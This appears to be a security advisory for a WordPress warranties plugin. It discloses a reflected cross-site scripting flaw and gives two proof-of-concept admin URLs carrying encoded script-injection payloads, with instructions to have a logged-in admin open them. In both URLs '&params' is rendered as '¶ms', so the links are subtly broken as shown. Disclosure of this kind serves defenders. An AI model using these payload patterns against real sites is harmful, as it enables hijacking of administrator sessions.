The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Make a logged in admin open the URL below
v <= 2.1.6
https://example.com/wp-admin/admin.php?page=warranties&view=updater&act=migrate_products¶ms[%78%78%20%3d%20%31%3b%20%61%6c%65%72%74%28%31%29%3b%20%2f%2f]=x
v < 2.1.6
https://example.com/wp-admin/admin.php?page=warranties&view=updater&act=migrate_products¶ms%5Bx%5D=xxxx%27qqqqq%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E